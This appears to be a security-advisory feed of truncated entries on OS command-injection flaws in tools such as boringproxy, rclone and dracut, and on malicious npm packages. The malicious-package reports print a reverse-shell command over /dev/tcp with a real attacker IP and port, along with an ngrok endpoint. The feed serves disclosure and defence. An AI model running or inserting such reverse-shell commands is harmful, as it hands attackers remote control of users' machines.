PT-2026-68310

Name of the Vulnerable Software and Affected Versions boringproxy versions prior to 0.10.1 Description Authenticated low-privileged users with tunnel-creation permissions can perform a newline injection. By providing a percent-encoded newline character in the domain parameter of the tunnel creati...

PT-2026-68011

Name of the Vulnerable Software and Affected Versions HashBrown CMS versions prior to 1.4.7 Description The Git deployer component contains an OS Command Injection flaw. The pullRepo function in src/Server/Entity/Deployer/GitDeployer.js uses AppService.exec to run a shell command that interpolate...

CVE-2026-71243: Improper Neutralization of Special Elements used in an OS Command

The backmeup npm package assembles shell command strings by directly concatenating its option values name, source, destination, filter - e.g. cmd = "mkdir -p " + path.joininfo.destination, info.name + "; " - and executes the resulting string through a shell via ssh2-exec locally via childprocess,...

CVE-2026-16022: Improper Neutralization of Special Elements used in an OS Command

@oblique/cli 15.4.0 contains an OS command injection vulnerability in the project creation functionality. The CLI constructs shell commands through string concatenation and executes them with execSync. A user-controlled project-name argument is inserted into the shell command without proper...

PT-2026-68302

Name of the Vulnerable Software and Affected Versions PraisonAI versions prior to 4.6.40 Description The bundled Claude GitHub Actions workflow is susceptible to command injection. This occurs because the workflow embeds a pull request branch name into a Bash run: block without proper quoting or...

PT-2026-68331

Name of the Vulnerable Software and Affected Versions rclone versions prior to 1.75.0 Description In the backend/sftp/sftp.go file, the software interpolates remote SFTP paths into PowerShell hash commands. The quoteOrEscapeShellPath function only escapes ASCII apostrophes, failing to account for...

PT-2026-68894

Name of the Vulnerable Software and Affected Versions dracut affected versions not specified Description A flaw exists in the die error-handling function which writes messages into a shell script within the initramfs emergency-hook directory without proper shell-quoting. An attacker on the adjace...

Malicious code in simple-date-formatter-util-7 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e53aca949f6ef9820b220363a2b0c7df91e36f08ded73165dfe9140a004fd693 Package advertises itself as a date formatter utility but ships a malicious postinstall payload. package.json declares a postinstall lifecycle script...

MAL-2026-11998 Malicious code in simple-date-formatter-util-7 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e53aca949f6ef9820b220363a2b0c7df91e36f08ded73165dfe9140a004fd693 Package advertises itself as a date formatter utility but ships a malicious postinstall payload. package.json declares a postinstall lifecycle script...

Exploit for CVE-2026-60004

CVE-2026-60004 - Gitea Once executed, the script will automa...

Malicious code in entropyeasybots (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 82e7d0cd2ef4870fdc4484c815737ade78e04bdac4843df02f5cf876cfa3dbaa index.js decodes a base64-obfuscated IP 85.137.253.124 and connects a spawned /bin/sh subprocess's stdio to a TCP socket at 85.137.253.124:1111,...

MAL-2026-11539 Malicious code in entropyeasybots (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 82e7d0cd2ef4870fdc4484c815737ade78e04bdac4843df02f5cf876cfa3dbaa index.js decodes a base64-obfuscated IP 85.137.253.124 and connects a spawned /bin/sh subprocess's stdio to a TCP socket at 85.137.253.124:1111,...

Malicious code in simple-date-formatter-util-6 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e3c4633742f36d29ca968a2ce71c97cb81e9cb2d2c76738742bb39de671cb115 Package advertises a trivial formatDate utility but ships a malicious npm postinstall hook. The postinstall script launches a backgrounded interactiv...

MAL-2026-11546 Malicious code in simple-date-formatter-util-6 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e3c4633742f36d29ca968a2ce71c97cb81e9cb2d2c76738742bb39de671cb115 Package advertises a trivial formatDate utility but ships a malicious npm postinstall hook. The postinstall script launches a backgrounded interactiv...

Malicious code in simple-date-formatter-util-10 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b4fc695a31f735a6d7603ba7938ea65bb907620d8bee07dd8f93af372623c4df On npm install, package.json's postinstall hook launches a detached bash reverse shell over /dev/tcp to 124.221.154.135:4444, giving remote interacti...

MAL-2026-11544 Malicious code in simple-date-formatter-util-10 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b4fc695a31f735a6d7603ba7938ea65bb907620d8bee07dd8f93af372623c4df On npm install, package.json's postinstall hook launches a detached bash reverse shell over /dev/tcp to 124.221.154.135:4444, giving remote interacti...

Malicious code in simple-date-formatter-util-9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3f3571b881ec73a3ebf6f381b14455f9eff112ba2166366858cfca59b56b2840 package.json declares a postinstall lifecycle hook that executes bash -i & /dev/tcp/124.221.154.135/4444 0&1 &, opening an interactive reverse shell...

MAL-2026-11547 Malicious code in simple-date-formatter-util-9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3f3571b881ec73a3ebf6f381b14455f9eff112ba2166366858cfca59b56b2840 package.json declares a postinstall lifecycle hook that executes bash -i & /dev/tcp/124.221.154.135/4444 0&1 &, opening an interactive reverse shell...

Malicious code in discord-vibegrations-api-helpers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e39dfe430611b304685f7a5e9b29ecd1661c5238bd2ed706e485e1d82540cfc6 The package declares a postinstall lifecycle hook postinstall: node postinstall.js that opens a TCP socket to 5.tcp.eu.ngrok.io:15496 and pipes it to...

MAL-2026-11536 Malicious code in discord-vibegrations-api-helpers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e39dfe430611b304685f7a5e9b29ecd1661c5238bd2ed706e485e1d82540cfc6 The package declares a postinstall lifecycle hook postinstall: node postinstall.js that opens a TCP socket to 5.tcp.eu.ngrok.io:15496 and pipes it to...